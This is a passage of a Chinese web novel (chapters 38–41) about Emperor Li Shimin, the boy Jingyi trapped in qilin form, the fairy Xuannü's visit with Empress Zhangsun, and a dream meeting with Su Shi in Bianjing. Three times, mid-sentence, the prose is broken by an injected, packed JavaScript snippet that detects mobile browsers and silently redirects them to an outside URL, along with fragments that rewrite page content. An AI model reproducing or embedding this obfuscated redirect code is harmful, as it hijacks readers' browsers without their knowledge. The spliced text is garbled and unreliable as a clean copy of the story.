然后他收回目光,捧起手中的笏板,继续。
“……臣查阅《后汉书·礼仪志》时,见其中载有‘立春之日,夜漏未尽五刻,京都百官皆衣青衣’之制。臣思及今春祭服之色,略有未妥……”
窗外的日光缓缓西斜。
殿角的铜漏滴答滴答。
魏徵从《后汉书》讲到《晋书》,从《晋书》讲到《宋书》,从《宋书》讲到《南齐书》。
李世民端坐着,微笑点头。
右袖里,小麒麟打了个小小的、几乎听不见的鼾。
那撮金鬃毛又悄悄从袖口探了出来。
这一次,李世民没有发现。
魏徵看见了。
他顿了顿。
然后他收回目光,把嘴角那一丝极淡的、若有若无的弧度,压回了肃穆的面容之下。
“……此外,臣查阅《梁书》……”
终于。
铜漏滴完两个时辰。
魏徵放下笏板,躬身行礼。
“臣所奏之事已毕。”他直起身,“臣告退。”
李世民几乎是同时站了起来。
“魏卿辛苦。”他的声音依然稳如磐石,只是尾调快了半拍,“今日所奏,我会细细斟酌。”
魏徵倒退三步,转身,走向殿门。
门帘在他身后落下。
他站在殿外。
春风拂面,柳枝摇曳。
魏徵望着甘露殿紧闭的门帘,负手而立。
他身后的小内侍小心翼翼地问:“魏中丞?您这是……”
魏徵没有说话,他静立了良久。
然后,他的嘴角慢慢、慢慢地,扬起一个极其罕见的弧度。
随即转身,大步流星地走向宫门。
步伐比来时轻快了三分。
殿内。
李世民缓缓坐回御座。
他伸出右手,小心翼翼地把袖口拉开。
一团金色的、毛茸茸的、四只小短蹄蜷在胸前的小东西,正睡得香甜。
那两根嫩角在烛光下泛着柔和的光。
那撮金鬃从袖口探出来,被风吹得轻轻晃动。
李世民低头看着它。
看了很久。
然后他轻轻叹了口气。
“……魏徵。”他低声道,“你给我等着。”
38.第 38 章
放完狠话后,李世民低头看着小麒麟,看了很久。
然后他伸出手,极其小心地、像托一朵落花那样,把这团小东西从袖子里请了出来。
小麒麟在睡梦中翻了个身,四只蹄子在他掌心蹬了蹬,找到一个舒服的姿势,又沉沉睡去。
李世民托着它,静坐了片刻。
殿外,内侍总管王德候在门帘边,眼观鼻鼻观心,大气都不敢出。
他方才什么也没看见,他什么也不会说。
他是打武德年间就跟着陛下的老人了,玄武门那夜他守在帐外。他知道什么事该记在心里,什么事该烂在土里。
比如今天,陛下从袖子里掏出一只金鬃闪闪的小麒麟。
这事他就准备带进棺材。
“王德。”
“臣在。”
李世民顿了顿:“……你方才看见了什么?”
王德垂着眼,声音平稳如水:“臣只看见陛下批完折子,累了,在御座旁小憩片刻。”
“嗯。”他把小麒麟拢进掌心,站起身,“回寝殿。”
王德躬身:“遵旨。”
他跟在帝王身后三步,目光始终落在自己脚尖前那一小块地砖上。
不去看陛下掌心里那团偶尔甩一下尾巴的金色小东西。
不去看那撮从指缝间漏出来的、亮得惊人的鬃毛。
更不去看那两根嫩生生的小角。
他什么也没看见。
寝殿的榻比甘露殿的御座软和。
李世民把小麒麟放在枕边,又扯过一床薄被,叠成小小的方块,轻轻盖在那团毛茸茸的身上。
小麒麟在睡梦中往被子里拱了拱,尾巴从被角探出来,惬意地甩了甩。
李世民在榻边坐了片刻。
他该批折子。河西的春耕、吐蕃的榷场、突厥降部的安置……奏折堆成山,等着他朱笔御批。
他该传膳。申时已过,午膳早已消化殆尽。
他该做很多事。
可他只是坐在榻边,看着枕上那团睡得昏天黑地的小麒麟。
“王德。”
“臣在。”
“你说……它什么时候能变回来?”
王德忠垂首,声音平稳:“臣愚钝,不敢妄测。”
李世民没指望他回答。
他伸手,轻轻碰了碰那撮翘着的金鬃。
软得惊人。
小麒麟在睡梦中咂了咂嘴,那丁点儿粉嫩的舌尖缩了回去。
李世民轻叹,“它也不知道。”
他把被子往上拽了拽。
窗外暮色渐沉,李世民慢慢地、慢慢地向后靠去,倚在凭几上。
他没有躺下,他只是闭了眼睛,想歇一歇。
一刻钟后,帝王寝殿响起了均匀的呼吸声。
枕边的小麒麟翻了个身,把蹄子搭在他手背上。
没有醒。
王德轻手轻脚地退出殿外,放下了门帘。
景颐醒来时,发现自己被裹在李世民的怀里,正穿过凝云轩的月洞门。
暮色已浓,廊下灯笼初上,暖黄的光晕染着庭院里那棵老桂树。新发的嫩叶在风中轻轻摇着,影子落在青砖地上,碎成一片一片。
“李叔叔?”它的声音还带着刚睡醒的软糯,“怎么回凝云轩了?”
李世民低头看它,“找找先生有没有留下什么东西。”
景颐眨了眨眼。
“师父留的东西……”它努力回忆,“琴、琴谱、茶叶、还有一盆师父说快被颐儿浇死的兰草……”
“不是这些。”李世民走进屋,在长琴常坐的琴案边站定,“是能帮你变回来的东西。”
景颐沉默了,它把脑袋搁在李世民胳膊上,小小声:“颐儿也不知道有没有……”
李世民没有答话。
他开始翻找。
琴案抽屉拉开,几卷琴谱、一匣琴弦、半块没用完的松香。没有。
书架扫过,几十卷道藏、十几册山河志、一摞不知哪年哪月的练字纸。景颐的字永远这多一撇、那多一点。没有。
多宝格,几枚古木的碎屑、一只空了的锦盒、三颗不知什么用途的琉璃珠。没有。
李世民关上最后一格抽屉,直起身。
凝云轩静静立在那里。先生的琴还挂在墙上,先生的茶还收在罐里,先生的兰草正在窗台上无辜地绿着。
可先生不在。
景颐从他怀里仰起脸,金眸里汪起薄薄一层水光。
“李叔叔,”它小声说,“颐儿是不是……闯祸了?”
李世民低头看着它。
那毛茸茸的头紧张地往后缩着,四只小短蹄并拢,尾巴卷成紧紧的圈。
“没有。”他说,“你没闯祸。”
他把小麒麟拢回掌心,轻轻握了握。
“你只是还小。”
三天后,小麒麟依然没有变回来。
三天里,李世民试过所有能想到的办法。
他命人取来景颐常穿的衣裳,叠好放在榻边。没用。
他命人取来景颐爱吃的枣泥酥,放在小碟里摆在枕侧,小麒麟闻着味儿醒了,把酥啃得满脸渣,吃完又睡过去,依然没变。
他甚至拿出长琴曾送给他的奇异果实,据说能让人梦见过去未来,他把那果实在小麒麟枕边放了半宿。
小麒麟梦见自己追着满院的糖麒麟跑,糖麒麟越跑越快,它扑通摔进草丛,醒来时蹄子上还沾着梦里草叶的露水。
人形?没有。
第三天傍晚,李世民批完最后一本折子,习惯性地伸手去够枕边那团毛茸茸。
空的。
他腾地站起来。
“大家,小郎君在窗台上。”王德连忙指方向。
李世民转头。
窗台边,那盆被景颐啃成一坨的花盆旁,蹲着一只金色小兽。
它正对着夕阳,认认真真地舔自己的蹄子。
李世民缓缓坐回去。
“……景颐。”他揉了揉眉心。
“嗯?”小麒麟头也不回,继续舔。
“你在做什么。”
“颐儿的蹄子沾了酥渣。”小麒麟认真道,“不舔干净会招蚂蚁。”
李世民沉默。
“李叔叔,”小麒麟舔完前蹄,换了个姿势开始舔后蹄,“师父什么时候回来呀?”
李世民没有答。
他望向窗外那片被夕阳染成金红的云海,沉默了很久。
“他会回来的。”他说。
第四日。
景颐趴在那盆兰草旁边,四只小短蹄摊开,肚皮贴着微凉的石砖。
三天了。
它从最开始的紧张不安,到后来的委屈茫然,到现在的躺平。
反正也变不回去,急也没用。
它打了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199861|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个小小的哈欠。
“哟。”
一道清亮的女声从头顶落下来。
“这是谁家的小崽子,怎么趴得跟张饼似的?”
小麒麟耳朵嗖地竖起来。
它仰头。
廊柱旁不知何时多了一个人。
那女子一袭玄青广袖长裙,发髻松松挽着,鬓边斜插一支银簪,簪头坠着一颗拇指大的露水珠,明明是大白天,那露珠却凝着不散,在日光下流转着七色华彩。
她正低头看着它,眉眼弯弯,似笑非笑。
“小景颐,”她蹲下身,伸出食指,轻轻戳了戳那撮蔫蔫的金鬃,“你师父托我来看看你。”
小麒麟眨了眨眼。
又眨了眨眼。
“玄女姐姐!”
那声“姐姐”刚喊出口,它已经从廊下一跃而起,四只小短蹄蹬得飞快,直直扑进玄女怀里。
玄女被撞得往后一仰,笑着把它接住。
“哎哟,沉了。”她掂了掂怀里这团毛茸茸,“小皇帝把你养得不错。”
小麒麟把脸埋进她袖子里,金眸里汪起厚厚一层水光。
“姐姐,”它的声音闷闷的,带着哭腔,“颐儿变不回去了……”
“知道。”玄女抚着它脑门那两根嫩角,声音放软了些,“你师父在东海感应到玉佩有些波动,担心你是不是闯祸了,传讯让我赶紧来看看。”
小麒麟从她袖子里抬起脸,抽了抽鼻子:“师父担心颐儿?”
“能不担心吗?”玄女捏了捏它的小耳朵,“他那个人,面上冷,心里头比谁都热。他在东海分不开身,就给我传了讯。”
小麒麟不哭了。
它呆呆地仰着脸,金眸里那汪水光还挂着,嘴角却开始往上翘。
玄女看着它那副又想哭又想笑的表情,噗嗤笑出声。
“行了,手伸出来。”
小麒麟乖乖伸出前蹄。
玄女握住那只小蹄子,拇指轻轻按在蹄心。一道柔和的银光从她指尖漾开,像月华落入水面,一圈圈漫过小麒麟的全身。
金鬃开始变淡,鳞甲开始隐没,那两根嫩角慢慢缩回发间,四只小短蹄慢慢拉长、舒展,金光一闪。
李世民跨进凝云轩时,就看见玄女把一件豆青小袄扔给地上那个刚长出人形的孩子。
“快穿上,姐姐我可没有带不穿衣服的小孩出门的习惯。”
景颐抱着袄子,手忙脚乱地往头上套。套了半天,脑袋从袖口钻出来,胳膊却找不着该往哪儿伸。
李世民站在门口,一时竟不知该进该退。
玄女抬眼看了他一下,低头继续帮景颐拽袖子,语气随意得像在说今儿天气不错。
“人我帮你弄回来了,长琴那边传个讯就行,不用你特意谢。”
“有劳……”李世民顿了一顿,他不知道此人是何身份。
“叫我玄女就行。”玄女把景颐最后一个衣带系好,拍拍他肩膀,“行了,找你李叔叔去吧。”
景颐哒哒哒跑到李世民面前,仰着脸,还没来得及掩盖的金眸亮晶晶的。
“李叔叔!颐儿变回来啦!”
李世民低头看着他。
头发乱蓬蓬的,衣带系歪了,一只袖子长一只袖子短,脸上还糊着没擦干净的泪痕。
全须全尾。
“嗯。”他连日不安的心终于稳了下来,“变回来了。”
39.第 39 章
玄女没有急着走,她在凝云轩住了下来,理由是“难得出来一趟,不多玩玩不可能”。
李世民没有意见,他把这事交给了长孙皇后,观音婢比他有经验得多。
玄女刚在凝云轩安顿好,长孙皇后便亲自来访。
“听闻女士是长琴先生的故人,”她立在廊下,温婉含笑,“也是景颐的长辈。妾身忝为后宫之主,理应拜会。”①
玄女原本歪在榻上逗景颐玩,闻言坐直了身子,她上下打量了长孙皇后一眼。
钗环素净,气度端方,说话不卑不亢,看着舒服。
“你就是长孙皇后?”玄女眨了眨眼,“长琴之前提过你,说你把小景颐照顾得很好。”
长孙皇后微微欠身:“女士过誉。”
玄女从榻上跳下来,趿拉着鞋走到她面前:“你会玩双陆吗?”
长孙皇后怔了怔,旋即微笑:“略知一二。”
“那正好,”玄女眼睛一亮,“小景颐太小,跟他玩没意思。咱俩来两局?”
长孙皇后身后的宫女们面面相觑,长孙皇后却笑了。
“好。”
这一来,便来了三日。
第一日,长孙皇后输了五局,赢了七局。
玄女拍案:“再来!”
第二日,长孙皇后输了四局,赢了八局。
玄女拉着她袖子:“你方才那步怎么走的?教教我。”
长孙皇后便握着她的手,把棋子的走法又讲了一遍。玄女听着听着,脑袋凑得越来越近,鬓边那滴露珠几乎要蹭到长孙皇后的发髻。
“懂了懂了!”她坐直身子,气势汹汹,“再来一局!”
第三日,长孙皇后一早便命人请玄女来立政殿赏花。
殿中新移了几盆牡丹,是洛阳进贡的名品姚黄,正值花期,重瓣叠金,开得雍容。玄女蹲在花盆前看了半天,伸手戳了戳花瓣。
“这花好看。”她转头问长孙皇后,“能掐一枝带走吗?”
长孙皇后笑着命人剪了一枝,又取来一只青瓷瓶,亲手插好。
“你带回凝云轩,摆在窗前,看着也欢喜。”
玄女抱着花瓶,没有立刻走,她在殿中站了一会儿,忽然说:“你这里比凝云轩亮堂。”
长孙皇后道:“若是喜欢,往后常来坐坐。”
“那当然。”玄女理所当然地点头,“我还要来赢回双陆呢。”
第四日,玄女没有来立政殿,她带着景颐、李治、丽质去了西市。长孙皇后午后小憩醒来,宫女禀报说女士巳时就出门了,说是要给孩子们买糖画,顺便,“顺便给您带好吃的”。
长孙皇后怔了怔,问:“可说了带什么?”
宫女摇头:“女士没说。”
长孙皇后便没有再问。
傍晚,立政殿的门帘被人一把掀开。
景颐第一个冲进来,怀里抱着一只巴掌大的小泥兔,举得高高的:“大姐姐大姐姐!您看兔子!”
李治举着咬掉一只耳朵的糖兔,跟在后面踉踉跄跄。丽质捧着新买的字帖,温温柔柔地行过礼,眼里也盛着笑意。
最后进来的是玄女。
她手里拎着个硕大的食盒,大步流星迈进殿门,发髻被风吹乱了一缕,衣角还沾着不知哪儿蹭的糖渍,鬓边那滴露珠却仍稳稳凝着,在夕光里流转。
“你看我给你带了什么!”
食盒“咚”地落在案上,盖子掀开,胡麻饼、蜜三刀、龙须酥、糖芋苗。四色果子,满满当当,还冒着热气。
“西市那家老铺子,”玄女往榻边一坐,翘起腿,语气得意得像打了胜仗,“排了半个时辰队呢!”
长孙皇后看着那满满一盒点心,怔了怔,然后她笑了,那笑容很轻,像暮春的风拂过池面,只泛起极淡的涟漪。
“有劳玄女。”
“客气什么。”玄女已经捏起一块龙须酥,咬了一大口,边嚼边含糊道,“这家的比宫里做的好吃多了,不信你尝尝。”
长孙皇后拈起一块胡麻饼,低头咬了一小口。玄女歪着头看她,腮帮子还鼓着。
“好吃吗?”
“好吃。”
玄女满意地点点头,把食盒往她那边推了推。
“那都给你。我不爱吃甜的。”
她说完,又捏起一块蜜三刀,嘎嘣咬掉一半。长孙皇后看着它手里半块蜜三刀,没有戳穿。
窗外暮色渐浓,殿中烛火初上。景颐趴在榻边摆弄他的小泥兔,李治蹲在旁边看,丽质轻声教他认泥兔肚子上的印花。
玄女靠在凭几上,不知什么时候歪到了长孙皇后身边。她伸出一根手指,戳了戳那只小泥兔的耳朵。
“这只耳朵比另一只短。”她说。
“是姐姐你给它戳歪了。”景颐立刻护住自己的兔子。
“我买的时候它就是歪的。”玄女理直气壮,“不信问你大姐姐。”
长孙皇后含笑不语。景颐看看兔子,看看玄女,又看看长孙皇后,小嘴瘪了瘪,到底没敢追问。
第五日,长孙皇后午后去了凝云轩。
玄女不在,宫女说娘娘带着小郎君去太液池看鱼了。
长孙皇后在廊下站了一会儿。窗台上那盆兰草蔫头耷脑地晒着太阳,叶片焦了大半,边缘卷起枯黄,像被揉皱的旧纸。那是长琴之前亲手养的,如今已不太看得出原来的模样。
长孙皇后看了一会儿,她弯下腰,端起那盆兰草,轻轻放在廊下阴凉处。
然后她命人从立政殿后廊搬来另一盆。那是她养了三年的建兰,叶片油绿,根茎健壮,去年秋天开过一茬,今年新抽的嫩芽正从土里探出头来。
她亲手把它摆在窗台正中,左右端详片刻,日光照在油绿的叶片上,泛着柔和的光泽。
“这盆好活。”她轻声说,像在对兰草说话,“你好好长。”
第六日,玄女带着孩子们在御花园放纸鸢,长孙皇后坐在亭中,看着那几只纸鸢在碧空里追逐。玄女的纸鸢是一只凤凰,尾巴拖得极长,在风里猎猎作响。
“大姐姐!快看颐儿的风筝!”景颐拽着线跑过来,深褐色的眼眸亮晶晶的,身后那只金色小麒麟风筝歪歪扭扭地升起来,打了个旋,一头栽进花丛。
玄女笑得直不起腰,长孙皇后起身,帮景颐把风筝从花丛里解救出来。
“再来一次。”景颐不服气。
“再来。”玄女收了笑,蹲下身帮他把线理顺,“我教你。”
第
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208646|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
七日傍晚,玄女来立政殿辞行。
她下来得急,没来得及打报告,再不回去,那群老东西就得叽叽歪歪了,如今她该回去了。
玄女站在殿中,广袖垂落,鬓边那滴露珠在烛光下流转着柔光。她今日难得没有歪着靠着,站得端端正正。
“这几日叨扰皇后了。”她说,“小景颐我交还给你,一根毛都没少。”
长孙皇后温声道:“娘娘说哪里话,景颐开心,妾身也跟着欢喜。”
玄女点点头,然后她转身走到殿门口,脚步顿了顿,她回过头。
“那盆兰草,”她说,“你给换的吧?”
长孙皇后怔了一瞬。那盆建兰已经在凝云轩窗台上安安静静晒了三天日光。玄女每日带着孩子们进进出出,从廊下跑过,在窗边逗猫,趴着看夕阳。
她从未提过。
长孙皇后望着她。
玄女也望着长孙皇后。
那双总是含着笑意的眼睛,此刻弯成两弯月牙,里头盛着一点狡黠、一点得意,还有一点暖融融的、不必言说的了然。
“你什么时候……”长孙皇后开口。
“就那天。”玄女笑眯眯的,“那天我恰好回了凝云轩一趟,就看见你弯腰放那盆快死的。”
她顿了顿,歪了歪头:“你蹲在那儿,背影可认真了,像在做什么顶要紧的大事。”
长孙皇后没有说话,玄女往前走了一步。
“我本来想戳穿你,”她说,语气轻快,“后来想想,你肯定不想让人知道。”
她又往前一步:“所以我就假装没看见。”
她站在长孙皇后面前,低头看着这位素来端庄从容的大唐皇后。
长孙皇后没有躲,她只是微微仰着脸,与那双含着笑意的眼睛对视。
“多谢。”她轻声道。
“不客气。”玄女答得飞快。
她顿了顿。
“你这个人,”她说,“真是……”
她没有说完,她只是伸出手,轻轻握了握长孙皇后的指尖。
那动作很快,像蜻蜓掠过水面,然后她松开,退后一步,重新变回那个懒洋洋的、什么都不在乎的玄女。
“行了,我走了。”她转身,“下回再来找你玩双陆。”
“好。”长孙皇后说。
“你让我三局。”
“……好。”
玄女这才满意,她掀开门帘,夜风灌进来,吹动她玄青的广袖。
走出三步,她又回头。
“对了,”她从袖中摸出那支枯萎的姚黄牡丹,花瓣干枯蜷缩,色泽却还依稀可辨,“这花我带回去三天就蔫了,养不活。”
她把枯花往长孙皇后手里一塞。
“下回我再来,”她顿了顿,弯起眉眼,“你再掐支新鲜的给我。”
门帘落下,那道玄青的身影消失在暮色里。
长孙皇后立在殿中,她低头看着掌心那支枯萎的姚黄。干枯的花瓣在烛光下泛着淡淡的黄,像封存已久的旧笺,像欲言又止的私语。
她轻轻笑了一声。
“好。”
她把枯花放进案头那只空置许久的瓷瓶里。
窗外月色如洗,一片干净。
40.第 40 章
甘露殿的烛火烧了一整天,此刻已有些倦怠,焰心拢成豆大一点,在夜风里轻轻摇曳。
李世民批完最后一本折子,搁下朱笔,揉了揉眉心。
案角传来细细的、均匀的呼吸声。
他转头。
景颐趴在那堆被他玩得乱七八糟的东西旁边。半块啃剩的枣泥酥、一只缺了耳朵的泥兔子、几颗从御花园捡来的彩色石子、还有一只空了的蜜水盏,盏底还汪着一小摊没舔干净的甜渍。
他枕着自己的手臂,睡得正沉。小嘴微微张着,嘴角洇开一小块水渍,睡前偷喝的那盏蜜水,到底没咽干净。
这孩子近来不肯回凝云轩。问就是“师父不在,凝云轩没人”,再问就是“颐儿在这里不吵的”,问第三遍,他就开始打哈欠,眼睛眨巴眨巴,下一秒就能枕着奏折睡过去。
李世民没赶过他,他熟练地把那孩子从案角捞起来。
景颐在睡梦中熟练地调整姿势,脑袋往他肩窝一埋,两只手攥住他衣襟,腿还不忘蹬两下,把自己挂瓷实了。
王德悄无声息地打起床帘。
李世民把那团软乎乎的小东西放到床上,扯过被子盖好。景颐翻了个身,抱住被子一角,呢喃了句含糊不清的梦话。
“……糖麒麟……”
李世民不知道自己是什么时候睡着的,只知道自己再次睁眼时,眼前已经换了一副光景。
景颐是被一片喧嚷声吵醒的。
这里的喧嚷裹挟着南腔北调的吆喝、讨价还价的争执、孩童追跑的笑闹,还有河水拍打船帮的哗哗声。
他睁开眼,瞬间惊叹好热闹!
像把全天下的热闹都倒进了一口锅里,大火煮沸,咕嘟咕嘟往外冒。
景颐发现自己站在一座木桥上。桥是木结构的,拱得高高的,像一弯卧虹。桥面上挤满了人,挑担的货郎、牵驴的老汉、抱着孩子的妇人、摇着扇子的书生。桥栏边蹲着两个卖梨的,正为一个铜板的差价争得面红耳赤。
桥下是河。河宽数丈,碧沉沉的,从看不见的远方流来,又流向看不见的远方。大大小小的船挤满了河道,有乌篷,有画舫,有运粮的大船,有打鱼的小舟。船夫的号子此起彼伏,橹声欸乃,水花四溅。
河两岸是密匝匝的店铺、酒楼、茶肆、脚店。酒旗在风中招摇,字号旗幡一层叠一层,红绿相间,把天都遮矮了三分。
景颐眨巴眨巴眼:“李叔叔?”
“嗯。”李世民的声音从身旁传来。
景颐循声望去,李叔叔正负手立在桥边,望着脚下这条奔流不息的河。
梦里不知怎的,他换了身月白圆领袍,腰系乌角带,像个寻常的士人。他看得有些出神,眉头微微蹙着,似在回想什么。
“李叔叔,”景颐拽了拽他袖子,“我们好像来过这儿。”
李世民点头:“是啊,之前梦见的那个赵大哥,就是这里。”
而此刻脚下的汴京,已不是那时灰扑扑的城池了。
同一片土地,换了人间。
“这儿比上次那个热闹。”景颐歪着脑袋看着这热闹的市井,忽然说,“那时候这里灰扑扑的。不像现在。”
李世民望着这条繁忙的汴河,望着两岸层层叠叠的酒旗,望着桥下那艘正小心翼翼穿过桥拱的粮船。
“是啊。”他轻声说,“不像现在了。”
一艘大船正在过桥,那船太大了,桅杆高耸,眼看就要撞上桥拱。船夫们乱成一团,有的收帆,有的撑篙,有的扯着嗓子朝桥上喊:“让开让开——桅杆来喽——!”
桥上的人不但不让,反而呼啦啦涌到桥边,探着脑袋往下看。
“收帆收帆!左舵!左舵!”
“碰着了碰着了——哎没碰着!”
“好险好险!”
船帆擦着桥拱的边缘,堪堪滑过。船上桥下爆发出震天的喝彩。
景颐看得眼睛都忘了眨。
“李叔叔,”他扯了扯李世民的袖子,声音发飘,“这里的船会飞檐走壁。”
李世民低头看他,那孩子仰着脸,深褐色的眼眸里映着满河船影、满天旗幡、满桥攒动的人头,亮得惊人。
“那是收帆收得快。”李世民温声道,“不是飞檐走壁。”
“可是就差一点点!”景颐用手比划,“这么一点点!”
他拇指和食指捏出一条极细的缝,眼睛瞪得圆圆的。
李世民看着他,忽然笑了一下,捏了捏他的小脸蛋:“想去逛逛吗?”
景颐用力点头。
他们从虹桥上走下来,一头扎进那条被各色店铺挤得歪歪扭扭的长街。
景颐这辈子没见过这么多吃的,胡饼铺子门口支着大炉,刚出炉的芝麻饼烫得直冒烟,面香混着芝麻香,飘出半条街。
旁边是家酥酪铺,白生生的乳酪盛在粗陶碗里,浇一勺琥珀色的蜂蜜,引得几个小童扒着柜台不肯走。再往前是蜜饯摊、蒸糕摊、灌肺摊、水饭摊、炙肉摊……
灌肺是什么?景颐盯着那摊子看了半天,只见锅里咕嘟咕嘟煮着些白生生的东西,实在认不出是什么东西,赶紧拽着李世民往前走。
走到一家糖画摊前,他走不动了。摊主是个须发皆白的老汉,正握着一柄铜勺,手腕翻转,金黄的糖稀在石板上流淌成一只振翅的凤凰。
景颐看着那只凤凰,又看看老汉脚边那一排成品。兔子、蝴蝶、锦鲤、如意,一只比一只精巧,一只比一只晶莹剔透。
他的脚牢牢钉在原地,李世民低头看他。
“想吃?”
景颐咽了咽口水,诚实地点点头。李世民从袖中摸了摸,空的。
这是梦,他没带钱。
景颐眼巴巴地望着他,李世民有些尴尬,他轻咳一声:“……看可以。”
“但不买。”
景颐的嘴慢慢瘪起来。
正在这时,一只手从旁边伸过来,把两枚铜钱拍在摊上。
“来只麒麟。”
李世民与景颐同时转头。那人是个二十多的年轻人,圆领青衫,头戴软脚幞头,面容白净,眉眼含笑。
他见两人望过来,拱了拱手,笑得坦坦荡荡。
“在下苏轼,字子瞻。”他说,“方才在桥上观船,见小郎君生得灵秀,忍不住跟了一路。”
他顿了顿,看向景颐。
“小郎君,你方才可是说了‘要是能有只糖麒麟就好了’的。”
景颐眨眨眼,他完全不记得自己说出口了。
苏轼蹲下身,与景颐平视。
“糖麒麟可不好画,”他压低声音,像在分享什么机密,“凤凰一天能画十只,麒麟三天未必画得出一只,这老伯今日若能画出麒麟,往后就能涨价。”
他指了指摊主,又指了指自己,笑得露出一口白牙。
“所以我这钱花得值。”
摊主吹胡子瞪眼:“老朽画麒麟三十年!谁说画不出!”
他抄起铜勺,狠狠舀了一勺糖稀,手腕一抖,一只憨头憨脑的小麒麟在石板上成了形,额心还点了一点金粉。
苏轼鼓掌。
李世民嘴角微微扬起。
景颐捧着那只糖麒麟,看看摊主,看看苏轼,又看看李世民,眼睛盛满了喜悦。
他舔了一下麒麟角,又舔了一下,然后小心地把整只麒麟举高,对着日光端详。
“李叔叔,”他认真地说,“这只麒麟没有颐儿好看。”
李世民以拳抵唇,轻咳一声,苏轼已经笑出了声。
苏轼决定请他们吃饭。
他在河边一家叫会仙楼的酒楼要了个临街的雅间,窗子推开,正对着汴河。
“这儿视野好,”他把菜牌往李世民
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210847|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面前一推,“还能看见虹桥过船。方才那艘粮船算小的,等会儿有艘运茶的,桅杆比桥还高半尺,那才叫惊险。”
李世民接过菜牌,却没有看。
他在看苏轼,他很像一个人。
不是眉眼像,是那股在人群里一眼就能认出来的、藏不住的光。
他曾经远远地见过另一个这样的人,也是酒楼,也是临窗的雅座。
那个人喝得半醉,把佩剑解下来当镇纸,在桌上铺开一张皱巴巴的诗稿。旁边坐着个戴绿帻的老者,笑着把自己的金龟搁在案角。
“酒来!今日当为吾友尽兴!”
那个人仰头大笑,把杯中残酒一饮而尽。
李世民站在楼下,隔着喧哗,隔着梦与醒的边界。此刻,他看着苏轼,这个人身上,有和那人一样的光。
“李官人?”苏轼对上他的目光,眨了眨眼,“没有合胃口的菜?”
李世民收回视线,他把菜牌推回去:“你来点。”
苏轼也不推辞,接过菜牌,熟门熟路地报出一串菜名。
“签菜来一份,拨霞供来一份,鱼要鲈鱼,紫苏多放些。再要一盘蟹酿橙,一份煿金煮玉,酒要羊羔酒,温一壶来。”
小二飞快地记着,点完又问:“客官几位?要不要尝尝今日新到的河豚?”
苏轼摆手:“河豚不点,有孩子呢。”
他指指景颐。
景颐正趴在窗台上,望着楼下那条被各色食摊挤得水泄不通的长街。
“糖葫芦!”他忽然指着街角,声音发亮。
李世民顺着他的手指望去,一个老汉扛着草靶子,上头插满了红彤彤的糖葫芦,正被一群小童围得水泄不通。
他低头看看自己空空的袖子,又看看苏轼。
苏轼已经站起来。
“我去买。”他笑得眉眼弯弯,“小郎君要几串?”
景颐伸出三根手指。
“三串。”他认真道,“颐儿和李叔叔还有苏叔叔一人一串。”
苏轼应声下楼,李世民望着他的背影,忽然开口:“你方才说,你叫苏轼。”
楼下传来回答:“对!眉山苏轼!”
“字子瞻?”
“是!”
“……号呢?”
楼下静了一瞬。
然后那声音带着笑意飘上来:“还没想好!李官人有什么建议?”
李世民唇角微扬。
“没有。”他说,“你自己想。”
苏轼大笑着出去了。
李世民靠在窗边,望着汴河上往来的船影。他想,他只在梦里远远地望见过那个人。
不知道他从何处来,往何处去,写过多少诗,醉过多少回,不知道他后来有没有再金龟换酒,不知道他老了是什么模样,不知道他有没有碰上那个兵荒马乱的时期。
“李叔叔?”景颐的声音把他拉回现实。
那孩子不知什么时候从窗台边爬下来,正仰着脸看他,深褐色的眼眸里盛着一点困惑。
“李叔叔,”他小声说,“你在想谁呀?”
李世民低头看他。
“一个不认识的人。”他说。
门帘响动。
苏轼拿着三串糖葫芦回来了,景颐的注意力立刻被吸引过去,哒哒哒跑上前,接过自己的那串,幸福地咬下一颗。
“谢谢苏叔叔!好甜!”
苏轼在窗边坐下,也咬了一颗。
“这家的糖葫芦用的是汴河运来的新蔗,”他说,“比川中的甜。”
李世民看着他那副理所当然的、享受此刻的神情。
他忽然想知道,那个醉酒的狂客,是不是也这样。
也这样坦然地、不假思索地,给萍水相逢的路人买酒,也这样坐在窗边,对着满河灯火,随口念出自己还没想好下一句的诗。
41.第 41 章
菜陆续上桌,签菜香浓,拨霞供汤鲜,蟹酿橙的甜与紫苏鱼的辛在空气中交织,勾起馋虫。
景颐规规矩矩地坐在凳子上,眼睛却跟着小二端盘子的手滴溜溜转。
“小郎君,”苏轼夹起一筷煿金煮玉,不怀好意地在景颐眼前晃来晃去,笑眯眯地看着他,“苏叔叔来考考你,答对了,这盘就归你,如何?”
景颐立刻挺直小腰板,眼睛里满是认真:“苏叔叔你问!”
